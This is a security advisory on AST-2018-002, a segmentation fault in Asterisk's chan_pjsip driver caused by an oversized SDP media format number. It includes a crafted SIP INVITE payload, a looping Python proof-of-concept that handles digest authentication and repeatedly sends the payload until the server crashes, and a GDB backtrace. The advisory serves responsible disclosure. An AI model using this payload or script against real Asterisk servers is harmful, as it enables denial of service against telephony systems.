# Segmentation fault occurs in Asterisk with an invalid SDP media format description
- Authors:
- Alfred Farrugia <alfred@xxxxxxxxxxxxxxxxxx>
- Sandro Gauci <sandro@xxxxxxxxxxxxxxxxxx>
- Latest vulnerable version: Asterisk 15.2.0 running `chan_pjsip`
- References: AST-2018-002
- Enable Security Advisory: <https://github.com/EnableSecurity/advisories/tree/master/ES2018-03-asterisk-pjsip-sdp-invalid-media-format-description-segfault>
- Vendor Advisory: <http://downloads.asterisk.org/pub/security/AST-2018-002.html>
- Tested vulnerable versions: 13.10.0, 15.1.3, 15.1.4, 15.1.5, 15.2.0
- Timeline:
- Report date: 2018-01-15
- Vendor patch made available to us: 2018-02-05
- Vendor advisory published: 2018-02-21
- Enable Security advisory: 2018-02-22
## Description
A specially crafted SDP message body with an invalid media format description causes a segmentation fault in asterisk using `chan_pjsip`.
## Impact
Abuse of this vulnerability leads to denial of service in Asterisk when `chan_pjsip` is in use.
## How to reproduce the issue
The following SIP message was used to reproduce the issue:
```
INVITE sip:5678@127.0.0.1:5060 SIP/2.0
To: <sip:5678@127.0.0.1:5060>
From: Test <sip:5678@127.0.0.1:5060>
Call-ID: 5493d4c9-8248-4c26-a63c-ee74bcf3e1e8
CSeq: 2 INVITE
Via: SIP/2.0/UDP 172.17.0.1:10394;branch=z9hG4bK5493d4c9-8248-4c26-a63c-ee74bcf3e1e8
Contact: <sip:5678@172.17.0.1>
Content-Type: application/sdp
Content-Length: 115
v=0
o=- 1061502179 1061502179 IN IP4 172.17.0.1
s=Asterisk
c=IN IP4 172.17.0.2
m=audio 17002 RTP/AVP 4294967296
```
The problematic SDP section is:
```
m=audio 17000 RTP/AVP 4294967296
```
Notes:
- authentication may be required
- the destination SIP address should match a valid extension in the dialplan
To facilitate this process we wrote the following python program to reproduce this issue:
```python
import socket
import re
import md5
import uuid
SERVER_IP = "127.0.0.1"
SERVER_PORT = 5060
UDP_IP = "0.0.0.0"
UDP_PORT = 13940
USERNAME = "5678"
PASSWORD = "5678"
INVITE_USERNAME = "5678"
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind((UDP_IP, UDP_PORT))
while True:
callid = str(uuid.uuid4())
fmt = 4294967296
sdpbody = "v=0\r\n" \
"o=- 1061502179 1061502179 IN IP4 172.17.0.1\r\n" \
"s=Asterisk\r\n" \
"c=IN IP4 172.17.0.2\r\n" \
"m=audio 17002 RTP/AVP %s" % fmt
msg="INVITE sip:%s@%s:%i SIP/2.0\r\n" \
"To: <sip:%s@%s:%i>\r\n" \
"From: Test <sip:%s@%s:%s>\r\n" \
"Call-ID: %s\r\n" \
"CSeq: 2 INVITE\r\n" \
"Via: SIP/2.0/UDP 172.17.0.1:10394;branch=z9hG4bK%s\r\n" \
"Contact: <sip:%s@172.17.0.1>\r\n" \
"Content-Type: application/sdp\r\n" \
"{{AUTH}}" \
"Content-Length: %i\r\n" \
"\r\n" % (
INVITE_USERNAME, SERVER_IP, SERVER_PORT,
INVITE_USERNAME, SERVER_IP, SERVER_PORT,
USERNAME, SERVER_IP, SERVER_PORT,
callid, callid,
USERNAME, len(sdpbody)
) + \
sdpbody
sock.sendto(msg.replace("{{AUTH}}", ""), (SERVER_IP, SERVER_PORT))
data, addr = sock.recvfrom(10240)
if data.startswith("SIP/2.0 401"):
for line in data.split('\r\n'):
if line.startswith("WWW-Authenticate"):
content = line.split(':', 2)[1].strip()
realm = re.search("realm=\"([a-z]+)\"", content).group(1)
nonce = re.search("nonce=\"([a-z0-9\/]+)\"", content).group(1)
ha1 = md5.new(USERNAME + ":" + realm + ":" + PASSWORD).hexdigest()
uri = "sip:%s:%i" % (SERVER_IP, SERVER_PORT)
ha2 = md5.new("INVITE:" + uri).hexdigest()
r = md5.new(ha1 + ":" + nonce + ":" + ha2).hexdigest()
auth = "Authorization: Digest username=\"%s\"," % (USERNAME) + \
"realm=\"%s\"," % (realm) + \
"nonce=\"%s\"," % (nonce) + \
"uri=\"%s\"," % (uri) + \
"response=\"%s\"," % (r) + \
"algorithm=md5\r\n"
sock.sendto(msg.replace("{{AUTH}}", auth), (SERVER_IP, SERVER_PORT))
```
The loop is required since a crash might not occur immediately.
This security issue was discovered through the use of simple fuzzing with [Radamsa](https://github.com/aoh/radamsa) and our internal toolset.
### GDB backtrace result
```
gdb --args /opt/asterisk/sbin/asterisk -fcvvv
[Jan 2 16:07:36] DEBUG[45]: res_pjsip_session.c:743 handle_negotiated_sdp_session_media: Applied negotiated SDP media stream 'audio' using audio SDP handler
[Jan 2 16:07:36] ERROR[45]: pjproject:0 <?>: except.c .!!!FATAL: unhandled exception PJLIB/No memory!
Thread 26 "asterisk" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7ffff0297700 (LWP 45)]
__longjmp_chk (env=env@entry=0x0, val=val@entry=1) at ../setjmp/longjmp.c:32
32 ../setjmp/longjmp.c: No such file or directory.
(gdb) bt
#0 __longjmp_chk (env=env@entry=0x0, val=val@entry=1) at ../setjmp/longjmp.c:32
#1 0x00007ffff78ed4ae in pj_throw_exception_ (exception_id=1) at ../src/pj/except.c:54
#2 0x00007ffff7868070 in pool_callback (pool=<optimized out>, size=<optimized out>) at ../src/pjsip/sip_endpoint.c:143
#3 0x00007ffff78f1a93 in pj_pool_create_block (size=1407375809856000, pool=0x7fff8c002c90) at ../src/pj/pool.c:63
#4 pj_pool_allocate_find (pool=0x7fff8c002c90, size=1407375809852724) at ../src/pj/pool.c:138
#5 0x00007ffff78fbb75 in pj_strdup (pool=pool@entry=0x7fff8c002c90, dst=dst@entry=0x7fff8c027638, src=src@entry=0x7fff8c025638) at ../include/pj/string_i.h:41
#6 0x00007ffff78b287e in pjmedia_sdp_media_clone (pool=pool@entry=0x7fff8c002c90, rhs=0x7fff8c025608) at ../src/pjmedia/sdp.c:691
#7 0x00007ffff78b4069 in pjmedia_sdp_session_clone (pool=pool@entry=0x7fff8c002c90, rhs=0x7fff8c01cdb8) at ../src/pjmedia/sdp.c:1422
#8 0x00007ffff7847f31 in create_sdp_body (c_sdp=<optimized out>, pool=0x7fff8c002c90) at ../src/pjsip-ua/sip_inv.c:1722
#9 process_answer (inv=inv@entry=0x7fff8c009f28, st_code=st_code@entry=200, local_sdp=local_sdp@entry=0x0, tdata=0x7fff8c002d38, tdata=0x7fff8c002d38) at ../src/pjsip-ua/sip_inv.c:2257
#10 0x00007ffff7848681 in pjsip_inv_answer (inv=0x7fff8c009f28, st_code=st_code@entry=200, st_text=st_text@entry=0x0, local_sdp=local_sdp@entry=0x0, p_tdata=p_tdata@entry=0x7ffff0296d10) at ../src/pjsip-ua/sip_inv.c:2393
#11 0x00007fff6b0f8f77 in answer (data=0x7fff8c00b298) at chan_pjsip.c:660
#12 0x00007ffff17cb180 in sync_task (data=0x7ffff290c510) at res_pjsip.c:4270
#13 0x00000000005fb3be in ast_taskprocessor_execute (tps=tps@entry=0x1dd6298) at taskprocessor.c:963
#14 0x0000000000602610 in execute_tasks (data=0x1dd6298) at threadpool.c:1322
#15 0x00000000005fb3be in ast_taskprocessor_execute (tps=0x1a401b8) at taskprocessor.c:963
#16 0x0000000000602af0 in threadpool_execute (pool=0x1ae0e88) at threadpool.c:351
#17 worker_active (worker=0x7fff94000948) at threadpool.c:1105
#18 worker_start (arg=arg@entry=0x7fff94000948) at threadpool.c:1024
#19 0x000000000060d4bd in dummy_start (data=<optimized out>) at utils.c:1257
#20 0x00007ffff5e3d6ba in start_thread (arg=0x7ffff0297700) at pthread_create.c:333
#21 0x00007ffff54263dd in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:109
(gdb)
```
## Solutions and recommendations
Apply the patch issued by Asterisk at <http://www.asterisk.org/security> or upgrade to the latest release.
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